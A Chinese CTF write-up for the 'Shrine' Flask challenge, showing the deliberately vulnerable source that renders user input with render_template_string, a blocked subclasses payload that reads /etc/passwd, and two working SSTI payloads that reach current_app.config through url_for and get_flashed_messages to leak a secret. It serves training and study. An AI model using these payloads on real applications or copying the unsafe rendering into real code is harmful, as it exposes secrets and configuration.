[CTF]攻防世界:Shrin(SSTI)

题目:攻防世界:Shrin(SSTI)

提示:题目代码

bash 复制代码
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)
  1. /shrine/路由接收任意路径参数
  2. render_template_string()直接渲染用户输入
  3. 过滤机制:()被删除,config和self变量被设为None
  4. 无法使用 subclasses()、popen() 等带括号的函数
bash 复制代码
无法使用
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

步骤

1. 利用Flask全局函数访问current_app

Payload: /shrine/{{url_for.globals['current_app'].config.FLAG}}

原理:

url_for 是Flask内置全局函数,无需括号即可访问__globals__ 获取函数的全局变量字典(无括号)current_app

指向当前的Flask应用实例app 通过 current_app.config 访问被"隐藏"的配置

2. 利用get_flashed_messages

替代Payload:

/shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}

原理:与url_for类似,利用另一个Flask全局函数绕过限制。

相关推荐
a1117762 小时前
网络安全检查表 docx 附文件
网络·安全·web安全
m0_738120728 小时前
渗透测试基础ctfshow——Web应用安全与防护(四)
前端·安全·web安全·网络安全·flask·弱口令爆破
买大橘子也用券9 小时前
BUUCTF-[0CTF 2016]piapiapia-WP
web安全·网络安全
买大橘子也用券10 小时前
one_line_php-wp
web安全·网络安全·php
qq_260241231 天前
将盾CDN:网络安全人才培养的困境与破局之道
安全·web安全
Bruce_Liuxiaowei1 天前
2026年4月第2周网络安全形势周报(3)
网络·安全·web安全
瘾大侠1 天前
HTB - Silentium
安全·web安全·网络安全
Andya_net1 天前
网络安全 | tcpdump使用详解
安全·web安全·tcpdump
瘾大侠1 天前
OSCP+ 100分 7小时考试心得分享
安全·web安全·网络安全
lingggggaaaa1 天前
PHP模型开发篇&MVC层&动态调试未授权&脆弱鉴权&未引用&错误逻辑
开发语言·安全·web安全·网络安全·php·mvc·代码审计